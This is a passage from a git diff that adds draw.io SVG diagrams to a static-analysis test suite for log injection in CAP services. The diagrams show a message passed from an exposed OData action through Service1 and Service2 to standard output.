+                <text x="50" y="24" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">OData exposed</text>
+            </switch>
+        </g>
+        <rect x="248" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 313px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1.on("send1")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="313" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service1.on("send1")</text>
+            </switch>
+        </g>
+        <rect x="453" y="140" width="235" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="473" y="170" width="205" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="617" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 652px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="652" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service2</text>
+            </switch>
+        </g>
+        <rect x="487" y="80" width="120" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="502" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 547px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="547" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send2</text>
+            </switch>
+        </g>
+        <path d="M 547 120 L 547 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 547 198.88 L 543.5 191.88 L 547 193.63 L 550.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="488" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 489px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="548" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 613px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.on("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="613" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.on("send2")</text>
+            </switch>
+        </g>
+        <path d="M 548 260 L 548 323.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 548 328.88 L 544.5 321.88 L 548 323.63 L 551.5 321.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="498" y="330" width="100" height="40" rx="6" ry="6" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 350px; margin-left: 499px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                STDOUT</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="353" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">STDOUT</text>
+            </switch>
+        </g>
+        <path d="M 243 260 L 243 350 L 418.03 350 L 418.03 60 L 547 60 L 547 72.13" fill="none"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke" />
+        <path d="M 547 78.88 L 542.5 69.88 L 547 72.13 L 551.5 69.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="262" y="320" width="140" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 332px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.send("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="332" y="338" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.send("send2")</text>
+            </switch>
+        </g>
+        <rect x="0" y="50" width="100" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 70px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Internal
+                                only</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="74" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Internal only</text>
+            </switch>
+        </g>
+        <path d="M 243 37 L 243 73.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 243 78.88 L 239.5 71.88 L 243 73.63 L 246.5 71.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="198" y="7" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 22px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">Outside
+                                actor</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="26" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Outside actor</text>
+            </switch>
+        </g>
+    </g>
+    <switch>
+        <g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" />
+        <a transform="translate(0,-5)"
+            xlink:href="https://www.diagrams.net/doc/faq/svg-export-text-problems" target="_blank">
+            <text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot
+                display</text>
+        </a>
+    </switch>
+</svg>
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.svg b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.svg
new file mode 100644
index 000000000..a725e5ef4
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.svg
@@ -0,0 +1,292 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"
+    width="689px" viewBox="-0.5 -0.5 689 371"
+    content="&lt;mxfile&gt;&lt;diagram id=&quot;8rw6_X1oGD0vQjmQSmuI&quot; name=&quot;Page-1&quot;&gt;&lt;mxGraphModel dx=&quot;577&quot; dy=&quot;371&quot; grid=&quot;1&quot; gridSize=&quot;10&quot; guides=&quot;1&quot; tooltips=&quot;1&quot; connect=&quot;1&quot; arrows=&quot;1&quot; fold=&quot;1&quot; page=&quot;1&quot; pageScale=&quot;1&quot; pageWidth=&quot;850&quot; pageHeight=&quot;1100&quot; math=&quot;0&quot; shadow=&quot;0&quot;&gt;&lt;root&gt;&lt;mxCell id=&quot;0&quot;/&gt;&lt;mxCell id=&quot;1&quot; parent=&quot;0&quot;/&gt;&lt;mxCell id=&quot;3&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;168&quot; y=&quot;170&quot; width=&quot;240&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;5&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;188&quot; y=&quot;200&quot; width=&quot;210&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;6&quot; value=&quot;Service1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;338&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;8&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;7&quot; value=&quot;action: send1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;10&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;11&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;12&quot; value=&quot;OData exposed&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;30&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;36&quot; value=&quot;&quot; style=&quot;edgeStyle=none;html=1;fontSize=11;&quot; parent=&quot;1&quot; source=&quot;13&quot; target=&quot;11&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry relative=&quot;1&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;13&quot; value=&quot;Service1.on(&amp;quot;send1&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;268&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;22&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;473&quot; y=&quot;170&quot; width=&quot;235&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;23&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;493&quot; y=&quot;200&quot; width=&quot;205&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;24&quot; value=&quot;Service2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;637&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;25&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;507&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;26&quot; value=&quot;action: send2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;522&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;27&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;28&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;508&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;29&quot; value=&quot;Service2.on(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;568&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;30&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;fontSize=11;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;360&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;33&quot; value=&quot;STDOUT&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;518&quot; y=&quot;360&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;34&quot; value=&quot;&quot; style=&quot;edgeStyle=segmentEdgeStyle;endArrow=classic;html=1;curved=0;rounded=0;endSize=8;startSize=8;sourcePerimeterSpacing=0;targetPerimeterSpacing=0;fontSize=11;entryX=0.5;entryY=0;entryDx=0;entryDy=0;exitX=0.5;exitY=1;exitDx=0;exitDy=0;&quot; parent=&quot;1&quot; source=&quot;11&quot; target=&quot;25&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;268&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;566&quot; y=&quot;100&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;90&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;90&quot;/&gt;&lt;/Array&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;35&quot; value=&quot;Service2.send(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;282&quot; y=&quot;350&quot; width=&quot;140&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;RCpADzFrx02nEt8xdn7a-36&quot; value=&quot;Internal only&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;80&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;/root&gt;&lt;/mxGraphModel&gt;&lt;/diagram&gt;&lt;/mxfile&gt;"
+    onclick="(function(svg){var src=window.event.target||window.event.srcElement;while (src!=null&amp;&amp;src.nodeName.toLowerCase()!='a'){src=src.parentNode;}if(src==null){if(svg.wnd!=null&amp;&amp;!svg.wnd.closed){svg.wnd.focus();}else{var r=function(evt){if(evt.data=='ready'&amp;&amp;evt.source==svg.wnd){svg.wnd.postMessage(decodeURIComponent(svg.getAttribute('content')),'*');window.removeEventListener('message',r);}};window.addEventListener('message',r);svg.wnd=window.open('https://viewer.diagrams.net/?client=1&amp;page=0&amp;edit=_blank');}}})(this);"
+    style="cursor:pointer;max-width:100%;max-height:371px;">
+    <defs />
+    <g>
+        <rect x="148" y="140" width="240" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="168" y="170" width="210" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="318" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 353px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="353" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service1</text>
+            </switch>
+        </g>
+        <rect x="183" y="80" width="120" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="198" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send1</text>
+            </switch>
+        </g>
+        <path d="M 243 120 L 243 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 243 198.88 L 239.5 191.88 L 243 193.63 L 246.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="183" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 184px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="0" y="0" width="100" height="40" rx="6" ry="6" fill="#fc0356" stroke="rgb(0, 0, 0)"
+            pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 20px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">OData
+                                exposed</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="24" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">OData exposed</text>
+            </switch>
+        </g>
+        <rect x="248" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
